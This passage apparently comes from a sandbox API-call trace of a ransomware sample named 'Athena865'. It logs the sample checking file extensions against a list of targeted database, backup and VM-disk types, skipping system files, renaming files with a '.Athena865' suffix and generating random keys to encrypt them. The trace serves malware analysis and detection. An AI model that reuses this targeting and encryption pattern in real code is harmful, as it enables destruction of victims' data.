(lpString1="R.cab", lpString2="accdc") returned 1 [0055.240] lstrlenW (lpString="accde") returned 5 [0055.240] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0055.240] lstrlenW (lpString="accdr") returned 5 [0055.240] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0055.240] lstrlenW (lpString="accdt") returned 5 [0055.240] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0055.240] lstrlenW (lpString="accdw") returned 5 [0055.241] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0055.241] lstrlenW (lpString="accft") returned 5 [0055.241] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0055.241] lstrlenW (lpString="adb") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0055.241] lstrlenW (lpString="adb") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0055.241] lstrlenW (lpString="ade") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0055.241] lstrlenW (lpString="adf") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0055.241] lstrlenW (lpString="adn") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0055.241] lstrlenW (lpString="adp") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0055.241] lstrlenW (lpString="alf") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0055.241] lstrlenW (lpString="ask") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0055.241] lstrlenW (lpString="btr") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0055.241] lstrlenW (lpString="cat") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0055.241] lstrlenW (lpString="cdb") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0055.241] lstrlenW (lpString="ckp") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0055.241] lstrlenW (lpString="cma") returned 3 [0055.241] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0055.241] lstrlenW (lpString="cpd") returned 3 [0055.242] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0055.242] lstrlenW (lpString="dacpac") returned 6 [0055.242] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0055.242] lstrlenW (lpString="dad") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0055.243] lstrlenW (lpString="dadiagrams") returned 10 [0055.243] lstrlenW (lpString="daschema") returned 8 [0055.243] lstrcmpiW (lpString1="ubLR.cab", lpString2="daschema") returned 1 [0055.243] lstrlenW (lpString="db-journal") returned 10 [0055.243] lstrlenW (lpString="db-shm") returned 6 [0055.243] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0055.243] lstrlenW (lpString="db-wal") returned 6 [0055.243] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0055.243] lstrlenW (lpString="dbc") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0055.243] lstrlenW (lpString="dbs") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0055.243] lstrlenW (lpString="dbt") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0055.243] lstrlenW (lpString="dbv") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0055.243] lstrlenW (lpString="dbx") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0055.243] lstrlenW (lpString="dcb") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0055.243] lstrlenW (lpString="dct") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0055.243] lstrlenW (lpString="dcx") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0055.243] lstrlenW (lpString="ddl") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0055.243] lstrlenW (lpString="dlis") returned 4 [0055.243] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0055.243] lstrlenW (lpString="dp1") returned 3 [0055.243] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0055.243] lstrlenW (lpString="dqy") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0055.244] lstrlenW (lpString="dsk") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0055.244] lstrlenW (lpString="dsn") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0055.244] lstrlenW (lpString="dtsx") returned 4 [0055.244] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0055.244] lstrlenW (lpString="dxl") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0055.244] lstrlenW (lpString="eco") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0055.244] lstrlenW (lpString="ecx") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0055.244] lstrlenW (lpString="edb") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0055.244] lstrlenW (lpString="epim") returned 4 [0055.244] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0055.244] lstrlenW (lpString="fcd") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0055.244] lstrlenW (lpString="fdb") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0055.244] lstrlenW (lpString="fic") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0055.244] lstrlenW (lpString="flexolibrary") returned 12 [0055.244] lstrlenW (lpString="fm5") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0055.244] lstrlenW (lpString="fmp") returned 3 [0055.244] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0055.244] lstrlenW (lpString="fmp12") returned 5 [0055.244] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0055.244] lstrlenW (lpString="fmpsl") returned 5 [0055.244] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0055.245] lstrlenW (lpString="fol") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0055.245] lstrlenW (lpString="fp3") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0055.245] lstrlenW (lpString="fp4") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0055.245] lstrlenW (lpString="fp5") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0055.245] lstrlenW (lpString="fp7") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0055.245] lstrlenW (lpString="fpt") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0055.245] lstrlenW (lpString="frm") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0055.245] lstrlenW (lpString="gdb") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0055.245] lstrlenW (lpString="gdb") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0055.245] lstrlenW (lpString="grdb") returned 4 [0055.245] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0055.245] lstrlenW (lpString="gwi") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0055.245] lstrlenW (lpString="hdb") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0055.245] lstrlenW (lpString="his") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0055.245] lstrlenW (lpString="ib") returned 2 [0055.245] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0055.245] lstrlenW (lpString="idb") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0055.245] lstrlenW (lpString="ihx") returned 3 [0055.245] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0055.245] lstrlenW (lpString="itdb") returned 4 [0055.246] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0055.246] lstrlenW (lpString="itw") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0055.246] lstrlenW (lpString="jet") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0055.246] lstrlenW (lpString="jtx") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0055.246] lstrlenW (lpString="kdb") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0055.246] lstrlenW (lpString="kexi") returned 4 [0055.246] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0055.246] lstrlenW (lpString="kexic") returned 5 [0055.246] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0055.246] lstrlenW (lpString="kexis") returned 5 [0055.246] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0055.246] lstrlenW (lpString="lgc") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0055.246] lstrlenW (lpString="lwx") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0055.246] lstrlenW (lpString="maf") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0055.246] lstrlenW (lpString="maq") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0055.246] lstrlenW (lpString="mar") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0055.246] lstrlenW (lpString="marshal") returned 7 [0055.246] lstrcmpiW (lpString1="bLR.cab", lpString2="marshal") returned -1 [0055.246] lstrlenW (lpString="mas") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0055.246] lstrlenW (lpString="mav") returned 3 [0055.246] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0055.246] lstrlenW (lpString="maw") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0055.247] lstrlenW (lpString="mdbhtml") returned 7 [0055.247] lstrcmpiW (lpString1="bLR.cab", lpString2="mdbhtml") returned -1 [0055.247] lstrlenW (lpString="mdn") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0055.247] lstrlenW (lpString="mdt") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0055.247] lstrlenW (lpString="mfd") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0055.247] lstrlenW (lpString="mpd") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0055.247] lstrlenW (lpString="mrg") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0055.247] lstrlenW (lpString="mud") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0055.247] lstrlenW (lpString="mwb") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0055.247] lstrlenW (lpString="myd") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0055.247] lstrlenW (lpString="ndf") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0055.247] lstrlenW (lpString="nnt") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0055.247] lstrlenW (lpString="nrmlib") returned 6 [0055.247] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0055.247] lstrlenW (lpString="ns2") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0055.247] lstrlenW (lpString="ns3") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0055.247] lstrlenW (lpString="ns4") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0055.247] lstrlenW (lpString="nsf") returned 3 [0055.247] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0055.248] lstrlenW (lpString="nv") returned 2 [0055.248] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0055.248] lstrlenW (lpString="nv2") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0055.248] lstrlenW (lpString="nwdb") returned 4 [0055.248] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0055.248] lstrlenW (lpString="nyf") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0055.248] lstrlenW (lpString="odb") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0055.248] lstrlenW (lpString="odb") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0055.248] lstrlenW (lpString="oqy") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0055.248] lstrlenW (lpString="ora") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0055.248] lstrlenW (lpString="orx") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0055.248] lstrlenW (lpString="owc") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0055.248] lstrlenW (lpString="p96") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0055.248] lstrlenW (lpString="p97") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0055.248] lstrlenW (lpString="pan") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0055.248] lstrlenW (lpString="pdb") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0055.248] lstrlenW (lpString="pdm") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0055.248] lstrlenW (lpString="pnz") returned 3 [0055.248] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0055.248] lstrlenW (lpString="qry") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0055.249] lstrlenW (lpString="qvd") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0055.249] lstrlenW (lpString="rbf") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0055.249] lstrlenW (lpString="rctd") returned 4 [0055.249] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0055.249] lstrlenW (lpString="rod") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0055.249] lstrlenW (lpString="rodx") returned 4 [0055.249] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0055.249] lstrlenW (lpString="rpd") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0055.249] lstrlenW (lpString="rsd") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0055.249] lstrlenW (lpString="sas7bdat") returned 8 [0055.249] lstrcmpiW (lpString1="ubLR.cab", lpString2="sas7bdat") returned 1 [0055.249] lstrlenW (lpString="sbf") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0055.249] lstrlenW (lpString="scx") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0055.249] lstrlenW (lpString="sdb") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0055.249] lstrlenW (lpString="sdc") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0055.249] lstrlenW (lpString="sdf") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0055.249] lstrlenW (lpString="sis") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0055.249] lstrlenW (lpString="spq") returned 3 [0055.249] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0055.249] lstrlenW (lpString="te") returned 2 [0055.249] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0055.250] lstrlenW (lpString="teacher") returned 7 [0055.250] lstrcmpiW (lpString1="bLR.cab", lpString2="teacher") returned -1 [0055.250] lstrlenW (lpString="tmd") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0055.250] lstrlenW (lpString="tps") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0055.250] lstrlenW (lpString="trc") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0055.250] lstrlenW (lpString="trc") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0055.250] lstrlenW (lpString="trm") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0055.250] lstrlenW (lpString="udb") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0055.250] lstrlenW (lpString="udl") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0055.250] lstrlenW (lpString="usr") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0055.250] lstrlenW (lpString="v12") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0055.250] lstrlenW (lpString="vis") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0055.250] lstrlenW (lpString="vpd") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0055.250] lstrlenW (lpString="vvv") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0055.250] lstrlenW (lpString="wdb") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0055.250] lstrlenW (lpString="wmdb") returned 4 [0055.250] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0055.250] lstrlenW (lpString="wrk") returned 3 [0055.250] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0055.250] lstrlenW (lpString="xdb") returned 3 [0055.251] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0055.251] lstrlenW (lpString="xld") returned 3 [0055.251] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0055.251] lstrlenW (lpString="xmlff") returned 5 [0055.251] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0055.251] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.Athena865") returned 82 [0055.251] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.athena865"), dwFlags=0x1) returned 1 [0055.251] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.251] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9958388) returned 1 [0055.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518b40 [0055.252] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0055.253] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.253] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0055.253] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x97f700, lpName=0x0) returned 0x154 [0055.254] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0x17f700) returned 0x2d50000 [0055.318] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0055.453] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0055.476] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0055.477] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.477] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0055.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.478] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0055.491] CloseHandle (hObject=0x154) returned 1 [0055.491] CloseHandle (hObject=0x17c) returned 1 [0055.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518b40 | out: hHeap=0x4f0000) returned 1 [0055.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.501] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0055.501] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.501] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.501] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0055.501] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0055.502] lstrlenW (lpString="Setup.xml") returned 9 [0055.502] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0055.502] lstrlenW (lpString="Setup.xml") returned 9 [0055.502] lstrlenW (lpString="Athena865") returned 9 [0055.502] lstrlenW (lpString=".dll") returned 4 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0055.502] lstrlenW (lpString=".lnk") returned 4 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0055.502] lstrlenW (lpString=".ini") returned 4 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0055.502] lstrlenW (lpString=".sys") returned 4 [0055.502] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0055.502] lstrlenW (lpString="Setup.xml") returned 9 [0055.502] lstrlenW (lpString="bak") returned 3 [0055.502] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0055.502] lstrlenW (lpString="ba_") returned 3 [0055.502] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0055.502] lstrlenW (lpString="dbb") returned 3 [0055.502] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0055.502] lstrlenW (lpString="vmdk") returned 4 [0055.502] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0055.502] lstrlenW (lpString="rar") returned 3 [0055.502] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0055.502] lstrlenW (lpString="zip") returned 3 [0055.503] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0055.503] lstrlenW (lpString="tgz") returned 3 [0055.503] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0055.503] lstrlenW (lpString="vbox") returned 4 [0055.503] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0055.503] lstrlenW (lpString="vdi") returned 3 [0055.503] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0055.503] lstrlenW (lpString="vhd") returned 3 [0055.503] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0055.503] lstrlenW (lpString="vhdx") returned 4 [0055.503] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0055.503] lstrlenW (lpString="avhd") returned 4 [0055.503] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0055.503] lstrlenW (lpString="db") returned 2 [0055.503] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0055.503] lstrlenW (lpString="db2") returned 3 [0055.503] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0055.503] lstrlenW (lpString="db3") returned 3 [0055.503] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0055.503] lstrlenW (lpString="dbf") returned 3 [0055.503] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0055.503] lstrlenW (lpString="mdf") returned 3 [0055.503] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0055.503] lstrlenW (lpString="mdb") returned 3 [0055.503] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0055.503] lstrlenW (lpString="sql") returned 3 [0055.503] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0055.503] lstrlenW (lpString="sqlite") returned 6 [0055.503] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0055.503] lstrlenW (lpString="sqlite3") returned 7 [0055.503] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0055.503] lstrlenW (lpString="sqlitedb") returned 8 [0055.503] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0055.503] lstrlenW (lpString="xml") returned 3 [0055.504] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0055.504] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: 